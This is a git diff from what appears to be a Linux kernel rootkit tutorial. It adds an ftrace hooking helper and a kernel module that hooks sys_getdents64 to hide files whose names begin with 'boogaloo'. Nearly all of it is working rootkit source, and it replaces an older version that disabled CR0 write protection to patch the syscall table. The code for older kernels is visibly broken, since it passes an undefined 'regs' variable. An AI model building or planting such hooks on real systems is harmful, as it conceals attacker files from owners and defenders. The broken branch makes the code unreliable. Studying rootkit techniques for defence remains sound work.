diff --git a/3_RootkitTechniques/3.4_hiding_directories/README.md b/3_RootkitTechniques/3.4_hiding_directories/README.md index 6a33de6..1cebdab 100644 --- a/3_RootkitTechniques/3.4_hiding_directories/README.md +++ b/3_RootkitTechniques/3.4_hiding_directories/README.md @@ -2,6 +2,8 @@ ## 3.4: Hiding files/directories +> Updated to use [ftrace](https://www.kernel.org/doc/html/latest/trace/ftrace.html) instead of directly modifying kernel memory + This is probably the most complicated syscall hook yet. As far as the kernel module goes, the structure is the same as the others in this section - we find the syscall table, and then hook a syscall with our own replacement, in this case, we hook `sys_getdents64`. What makes this task more difficult is that we are actually altering the structs that are returned to the user. First, we extract the *userspace* `dirent` struct from the `si` register in `regs`, and then call the real `sys_getdents64` and save the result in `ret`. Then, we have to `copy_from_user` the *userspace* `dirent` struct to the *kernelspace* `dirent_ker` struct so that we can probe and alter it's contents. At this point, we loop through the directory entries using `offset` (initially set to `0`, and incremented by the `d_reclen` field of each dirent as we proceed through the entries). diff --git a/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h b/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h new file mode 100644 index 0000000..f3a0171 --- /dev/null +++ b/3_RootkitTechniques/3.4_hiding_directories/ftrace_helper.h @@ -0,0 +1,185 @@ +/* + * Helper library for ftrace hooking kernel functions + * Author: Harvey Phillips (xcellerator@gmx.com) + * License: GPL + * */ + +#include +#include +#include +#include + +#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) +#define PTREGS_SYSCALL_STUBS 1 +#endif + +/* x64 has to be special and require a different naming convention */ +#ifdef PTREGS_SYSCALL_STUBS +#define SYSCALL_NAME(name) ("__x64_" name) +#else +#define SYSCALL_NAME(name) (name) +#endif + +#define HOOK(_name, _hook, _orig) \ +{ \ + .name = SYSCALL_NAME(_name), \ + .function = (_hook), \ + .original = (_orig), \ +} + +/* We need to prevent recursive loops when hooking, otherwise the kernel will + * panic and hang. The options are to either detect recursion by looking at + * the function return address, or by jumping over the ftrace call. We use the + * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by + * setting it to 1. (Oridinarily ftrace provides it's own protections against + * recursion, but it relies on saving return registers in $rip. We will likely + * need the use of the $rip register in our hook, so we have to disable this + * protection and implement our own). + * */ +#define USE_FENTRY_OFFSET 0 +#if !USE_FENTRY_OFFSET +#pragma GCC optimize("-fno-optimize-sibling-calls") +#endif + +/* We pack all the information we need (name, hooking function, original function) + * into this struct. This makes is easier for setting up the hook and just passing + * the entire struct off to fh_install_hook() later on. + * */ +struct ftrace_hook { + const char *name; + void *function; + void *original; + + unsigned long address; + struct ftrace_ops ops; +}; + +/* Ftrace needs to know the address of the original function that we + * are going to hook. As before, we just use kallsyms_lookup_name() + * to find the address in kernel memory. + * */ +static int fh_resolve_hook_address(struct ftrace_hook *hook) +{ + hook->address = kallsyms_lookup_name(hook->name); + + if (!hook->address) + { + printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); + return -ENOENT; + } + +#if USE_FENTRY_OFFSET + *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; +#else + *((unsigned long*) hook->original) = hook->address; +#endif + + return 0; +} + +/* See comment below within fh_install_hook() */ +static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) +{ + struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); + +#if USE_FENTRY_OFFSET + regs->ip = (unsigned long) hook->function; +#else + if(!within_module(parent_ip, THIS_MODULE)) + regs->ip = (unsigned long) hook->function; +#endif +} + +/* Assuming we've already set hook->name, hook->function and hook->original, we + * can go ahead and install the hook with ftrace. This is done by setting the + * ops field of hook (see the comment below for more details), and then using + * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions + * provided by ftrace.h + * */ +int fh_install_hook(struct ftrace_hook *hook) +{ + int err; + err = fh_resolve_hook_address(hook); + if(err) + return err; + + /* For many of function hooks (especially non-trivial ones), the $rip + * register gets modified, so we have to alert ftrace to this fact. This + * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also + * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because + * the built-in anti-recursion guard provided by ftrace is useless if + * we're modifying $rip. This is why we have to implement our own checks + * (see USE_FENTRY_OFFSET). */ + hook->ops.func = fh_ftrace_thunk; + hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS + | FTRACE_OPS_FL_RECURSION_SAFE + | FTRACE_OPS_FL_IPMODIFY; + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + return err; + } + + err = register_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); + return err; + } + + return 0; +} + +/* Disabling our function hook is just a simple matter of calling the built-in + * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the + * opposite order to that in fh_install_hook()). + * */ +void fh_remove_hook(struct ftrace_hook *hook) +{ + int err; + err = unregister_ftrace_function(&hook->ops); + if(err) + { + printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); + } + + err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); + if(err) + { + printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); + } +} + +/* To make it easier to hook multiple functions in one module, this provides + * a simple loop over an array of ftrace_hook struct + * */ +int fh_install_hooks(struct ftrace_hook *hooks, size_t count) +{ + int err; + size_t i; + + for (i = 0 ; i < count ; i++) + { + err = fh_install_hook(&hooks[i]); + if(err) + goto error; + } + return 0; + +error: + while (i != 0) + { + fh_remove_hook(&hooks[--i]); + } + return err; +} + +void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) +{ + size_t i; + + for (i = 0 ; i < count ; i++) + fh_remove_hook(&hooks[i]); +} diff --git a/3_RootkitTechniques/3.4_hiding_directories/rootkit.c b/3_RootkitTechniques/3.4_hiding_directories/rootkit.c index bf4dbd9..f970d02 100644 --- a/3_RootkitTechniques/3.4_hiding_directories/rootkit.c +++ b/3_RootkitTechniques/3.4_hiding_directories/rootkit.c @@ -4,18 +4,32 @@ #include #include #include +#include + +#include "ftrace_helper.h" #define PREFIX "boogaloo" MODULE_LICENSE("GPL"); MODULE_AUTHOR("TheXcellerator"); MODULE_DESCRIPTION("Hiding files that start with a certain prefix"); -MODULE_VERSION("0.01"); +MODULE_VERSION("0.02"); -static unsigned long * __sys_call_table; +/* After Kernel 4.17.0, the way that syscalls are handled changed + * to use the pt_regs struct instead of the more familar function + * prototype declaration. We have to check for this, and set a + * variable for later on */ +#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) +#define PTREGS_SYSCALL_STUBS 1 +#endif -typedef asmlinkage long (*orig_getdents64_t)(const struct pt_regs *); -orig_getdents64_t orig_getdents64; +/* We now have to check for the PTREGS_SYSCALL_STUBS flag and + * declare the orig_getdents64 and hook_getdents64 functions differently + * depending on the kernel version. This is the larget barrier to + * getting the rootkit to work on earlier kernel versions. The + * more modern way is to use the pt_regs struct. */ +#ifdef PTREGS_SYSCALL_STUBS +static asmlinkage long (*orig_getdents64)(const struct pt_regs *); /* This is our hooked function for sys_getdents64 */ asmlinkage int hook_getdents64(const struct pt_regs *regs) @@ -40,7 +54,8 @@ /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace * dirent_ker is our copy of the returned dirent struct that we can play with */ - long error = copy_from_user(dirent_ker, dirent, ret); + long error; + error = copy_from_user(dirent_ker, dirent, ret); if (error) goto done; @@ -91,64 +106,102 @@ return ret; } +#else +static asmlinkage long (*orig_getdents64)(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count); -/* The built in linux write_cr0() function stops us from modifying - * the WP bit, so we write our own instead */ -inline void cr0_write(unsigned long cr0) +static asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent, unsigned int count) { - asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order)); -} + /* We will need these intermediate structures for looping through the directory listing */ + struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL; + unsigned long offset = 0; -/* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which - * determines whether read-only pages can be written to. We are modifying - * the syscall table, so we need to unset it first */ -static inline void protect_memory(void) -{ - unsigned long cr0 = read_cr0(); - set_bit(16, &cr0); - cr0_write(cr0); -} + /* We first have to actually call the real sys_getdents64 syscall and save it so that we can + * examine it's contents to remove anything that is prefixed by PREFIX. + * We also allocate dir_entry with the same amount of memory as */ + int ret = orig_getdents64(regs); + dirent_ker = kzalloc(ret, GFP_KERNEL); -static inline void unprotect_memory(void) -{ - unsigned long cr0 = read_cr0(); - clear_bit(16, &cr0); - cr0_write(cr0); + if ( (ret <= 0) || (dirent_ker == NULL) ) + return ret; + + /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace + * dirent_ker is our copy of the returned dirent struct that we can play with */ + long error; + error = copy_from_user(dirent_ker, dirent, ret); + if (error) + goto done; + + /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ + while (offset < ret) + { + /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ + current_dir = (void *)dirent_ker + offset; + + /* Compare current_dir->d_name to PREFIX */ + if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0) + { + /* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */ + if ( current_dir == dirent_ker ) + { + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } + /* This is the crucial step: we add the length of the current directory to that of the + * previous one. This means that when the directory structure is looped over to print/search + * the contents, the current directory is subsumed into that of whatever preceeds it. */ + previous_dir->d_reclen += current_dir->d_reclen; + } + else + { + /* If we end up here, then we didn't find PREFIX in current_dir->d_name + * We set previous_dir to the current_dir before moving on and incrementing + * current_dir at the start of the loop */ + previous_dir = current_dir; + } + + /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole + * directory listing */ + offset += current_dir->d_reclen; + } + + /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. + * Note that dirent is already in the right place in memory to be referenced by the integer + * ret. */ + error = copy_to_user(dirent, dirent_ker, ret); + if (error) + goto done; + +done: + /* Clean up and return whatever is left of the directory listing to the user */ + kfree(dirent_ker); + return ret; } +#endif + +/* Declare the struct that ftrace needs to hook the syscall */ +static struct ftrace_hook hooks[] = { + HOOK("sys_getdents64", hook_getdents64, &orig_getdents64), +}; /* Module initialization function */ static int __init rootkit_init(void) { - /* Grab the syscall table */ - __sys_call_table = kallsyms_lookup_name("sys_call_table"); - - /* Grab the function pointer to the real sys_getdents64 syscall */ - orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64]; + /* Hook the syscall and print to the kernel buffer */ + int err; + err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); + if(err) + return err; printk(KERN_INFO "rootkit: Loaded >:-)\n"); - printk(KERN_DEBUG "rootkit: Found the syscall table at 0x%lx\n", __sys_call_table); - printk(KERN_DEBUG "rootkit: getdents64 @ 0x%lx\n", orig_getdents64); - - unprotect_memory(); - - printk(KERN_INFO "rootkit: hooking getdents64 syscall\n"); - /* Patch the function pointer to sys_getdents64 with our hook instead */ - __sys_call_table[__NR_getdents64] = (unsigned long)hook_getdents64; - - protect_memory(); return 0; } static void __exit rootkit_exit(void) { - unprotect_memory(); - - printk(KERN_INFO "rootkit: restoring getdents64 syscall\n"); - __sys_call_table[__NR_getdents64] = (unsigned long)orig_getdents64; - - protect_memory(); - + /* Unhook and restore the syscall and print to the kernel buffer */ + fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); printk(KERN_INFO "rootkit: Unloaded :-(\n"); }